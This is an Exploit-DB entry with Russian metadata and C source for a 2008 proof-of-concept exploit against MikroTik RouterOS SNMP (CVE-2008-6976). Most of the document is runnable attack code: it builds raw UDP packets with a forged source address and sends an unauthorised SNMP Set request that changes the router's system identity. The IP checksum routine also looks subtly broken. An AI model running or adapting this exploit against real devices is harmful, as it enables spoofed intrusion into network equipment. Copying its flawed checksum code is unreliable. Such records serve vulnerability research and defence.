Exploit MikroTik RouterOS 3.13 - SNMP write (Set request)

[Exploiter]

EDB-ID

6366

Проверка EDB

1. Пройдено

Автор

SHADOS

Тип уязвимости

REMOTE

Платформа

HARDWARE

CVE

cve-2008-6976

Дата публикации

2008-09-05

/*  --------------------------------------------------------------------------
 *                          (c) ShadOS 2008
 * 	       _  _     _ _ _  __     _      _   _       
 *	      | || |___| | | |/ /_ _ (_)__ _| |_| |_ ___ 
 *	      | __ / -_) | | ' <| ' \| / _` | ' \  _(_-< 
 *	      |_||_\___|_|_|_|\_\_||_|_\__, |_||_\__/__/ 
 *    	        hellknights.void.ru    |___/  .0x48k.    
 *
 *  --------------------------------------------------------------------------
 *
 *  Title: MicroTik RouterOS <=3.13 SNMP write (Set request) PoC exploit. 
 *
 *  Vendor: www.mikrotik.com
 *
 *  Vulnerable versions: 2.9.51 (2.9.x branch), 3.13 (3.x branch)
 *  (prior versions also affected).
 *
 *  Funded: 03.09.2008 by ShadOS (http://hellknights.void.ru)
 *
 *  Let's see the manual:
 *  http://www.mikrotik.com/testdocs/ros/2.9/root/snmp_content.php
 *  
 *  
 *  [QUOTE]
 * 
 *  > SNMP Service
 *  >
 *  > General Information
 *  >
 *  > Summary
 *  >
 *  > ... RouterOS supports only Get, which means that you can use this implementation only for network monitoring.
 *  >
 *  >
 *  > The MikroTik RouterOS supports:
 *  >
 *  > SNMPv1 only
 *  > Read-only access is provided to the NMS (network management system)
 *  > User defined communities are supported
 *  > Get and GetNext actions
 *  > No Set support
 *  > No Trap support
 *  >
 *
 *  
 *  [/QUOTE]
 *
 * 
 *  Don't forget to visit our site and my homepage for new releases:
 *  http://hellknights.void.ru
 *  http://shados.freeweb7.com
 *  Also, you can mail me any bugs or suggestions:
 *  mailto: shados /at/ mail /dot/ ru
 *
 *  Thanks 2 cih.ms and all my friends. 
 *  --------------------------------------------------------------------------
 *
 *  Copyright (C) 89, 90, 91, 1995-2008 Free Software Foundation.
 *
 *  This program is free software; you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation; either version 2, or (at your option)
 *  any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program; if not, write to the Free Software Foundation,
 *  Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 
 *
 *  -------------------------------------------------------------------------- 
 */ 

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netdb.h>
#include <memory.h>
#include <string.h>


unsigned char evilcode[49] = {
0x33, 0x02, 0x01, 0x02, 0x02, 0x01, 0x00, 0x02, 0x01, 0x00, 0x30, 0x18, 0x30, 0x16, 0x06, 0x08, 
0x2B, 0x06, 0x01, 0x02, 0x01, 0x01, 0x05, 0x00, 0x04, 0x17, 0x57, 0x72, 0x69, 0x74, 0x65, 0x20, 
0x69, 0x73, 0x20, 0x6E, 0x6F, 0x74, 0x20, 0x73, 0x75, 0x70, 0x70, 0x6F, 0x72, 0x74, 0x65, 0x64, 
0x21
};

unsigned short in_cksum(addr, len)
u_short *addr;
int len;
{
   register int nleft = len;
   register u_short *w = addr;
   register int sum = 0;
   u_short answer = 0;

   while (nleft > 1) {
      sum += *w++;
      sum += *w++;
      nleft -= 2;
   }
   if (nleft == 1) {
      *(u_char *) (&answer) = *(u_char *) w;
      sum += answer;
   }
   sum = (sum >> 17) + (sum & 0xffff);
   sum += (sum >> 17);
   answer = -sum;
   return (answer);
}

int sendudp(int sock,unsigned long *saddr, unsigned long *daddr,unsigned int sport,unsigned int dport,char *data, int len)
{
   char *packet;
   struct sockaddr_in dstaddr;
   struct iphdr *ip;
   struct udphdr *udp;
   packet = (char *)malloc(sizeof(struct iphdr) + sizeof(struct udphdr) + len);
   memset(packet,0,sizeof(struct iphdr) + sizeof(struct udphdr) + len);
   if (packet == NULL) { printf("Malloc failed\n"); exit(-1); }
   ip = (struct iphdr *)packet;
   udp = (struct udphdr *)(packet+sizeof(struct iphdr));
   ip->saddr = *saddr;
   ip->daddr = *daddr;
   ip->version = 4;
   ip->ihl = 5;
   ip->ttl = 255;
   ip->id = htons((unsigned short) rand());
   ip->protocol = IPPROTO_UDP;
   ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr)+len);
   ip->check = in_cksum(ip, sizeof(struct iphdr));
   udp->source = htons(sport);
   udp->dest = htons(dport);
   udp->len = htons(sizeof(struct udphdr) + len);
   memcpy(packet + (sizeof(struct iphdr) + sizeof(struct udphdr)),data,len);
   dstaddr.sin_family = AF_INET;
   dstaddr.sin_addr.s_addr = *daddr;
   if (sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct udphdr)+len,0,(struct sockaddr *)&dstaddr,sizeof(struct sockaddr_in)) < 0)
     perror("sendto() failed");
   free(packet);
}

char * makereq(char *community,int *size)
{
  char *buf;
  char *ptr;
  int len;
  int i;

  len = 7 + strlen(community) + sizeof(evilcode);
  buf = (char *)malloc(len);
  ptr = buf;

  *ptr++ = 0x30;
  *ptr++ = len;
  
  /* Snmp Version */
  *ptr++ = 0x02;
  *ptr++ = 0x01;
  *ptr++ = 0x00;
  
  /* Community */
  *ptr++ = 0x04;
  *ptr++ = strlen(community);
  strcpy(ptr,community);
  ptr = ptr + strlen(community);
  
  
  *ptr++ = 0xA3; /* Set Request */
  
  memcpy(ptr, evilcode, sizeof(evilcode));
  ptr = ptr + sizeof(evilcode);

  *size = len+1;
  
  return buf;
}

int erexit(char *msg)
{
  printf("%s\n",msg);
  exit (-1) ;
}

int usage()
{
  printf("Usage: ./snmpdos <-s source> <-d dest> <-c community>\n");
}

int main(int argc, char **argv)
{
  char *saddr,*daddr,*community;
  unsigned char *buf;
  int size;
  int sock;
  unsigned long lsaddr,ldaddr;
  int i;

  saddr = NULL;
  daddr = NULL;
  if (argc != 7) { usage(); erexit("not enough args\n"); }

  if (!strcmp(argv[1],"-s"))
    saddr = strdup(argv[2]);
  if (!strcmp(argv[3],"-d"))
    daddr = strdup(argv[4]);
  if (!strcmp(argv[5],"-c"))
    community = strdup(argv[6]);

  printf("Ok, spoofing packets from %s to %s\n",saddr,daddr);

  if (inet_addr(saddr) == -1 || inet_addr(daddr) == -1) 
    erexit("Invalid source/destination IP address\n");

  if (saddr == NULL) { usage(); erexit("No Source Address"); }
  if (daddr == NULL) { usage(); erexit("No Dest Address"); }

  sock = socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
  if (sock == -1) 
    erexit("Couldnt open Raw socket!(Are you root?)\n");

  lsaddr = inet_addr(saddr);
  ldaddr = inet_addr(daddr);

  buf = makereq(community,&size);

  
  printf("Sending %d bytes buffer:\n",size);
  for (i=0;i<size;i++)
     printf("0x%02x ",buf[i]);
  printf("\n");
  
  sendudp(sock,&lsaddr,&ldaddr,32788,161,buf,size);
  fprintf(stdout,"Sent packet. \"/system identity\" must be changed.\n");
  return 0;

}

// milw0rm.com [2008-09-05]